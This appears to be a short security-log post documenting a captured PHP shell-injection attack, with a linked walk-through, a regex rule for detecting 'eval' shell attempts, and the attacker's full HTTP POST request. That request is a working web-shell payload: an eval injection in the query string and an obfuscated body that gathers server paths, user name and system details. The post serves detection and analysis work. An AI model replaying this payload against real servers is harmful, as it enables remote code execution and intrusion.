yanyu 11m.php php shell injection

PHP Shell post
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Blog explaining this : http://neonprimetime.blogspot.com/2015/11/php-injection-via-post-walk-thru.html
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rule to match
php shell command attempt - eval
part="eval", rgxp="[^a-zA-Z\d]eval\s*\(\s*(\'|\"|\$_)"
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Source IP: 195.154.191.208
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POST/yanyu/?q={${eval($_POST[u])}}   HTTP/1.1
Referer: http://goodsite.com/11m.php
u=@eval(get_magic_quotes_gpc()?stripslashes($_POST[chr(122).chr(48)]):$_POST[chr(122).chr(48)]);
z0=603403;@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$root=isset($_SERVER['DOCUMENT_ROOT'])?$_SERVER['DOCUMENT_ROOT']:(isset($_SERVER['APPL_PHYSICAL_PATH'])?trim($_SERVER['APPL_PHYSICAL_PATH'],"\\"):(isset($_['PATH_TRANSLATED'])?str_replace($_SERVER["PHP_SELF"]):str_replace(str_replace("/","\\",isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:(isset($_SERVER["URL"])?$_SERVER["URL"]:$_SERVER["SCRIPT_NAME"])),"",isset($_SERVER["PATH_TRANSLATED"])?$_SERVER["PATH_TRANSLATED"]:$_SERVER["SCRIPT_FILENAME"])));$R="{$D}|".$root."|";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.="{$L}:";}$R.="|";$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';$usr=($u)?$u['name']:@get_current_user();$R.=php_uname();$R.="({$usr})";print $R;;echo("|<-");die();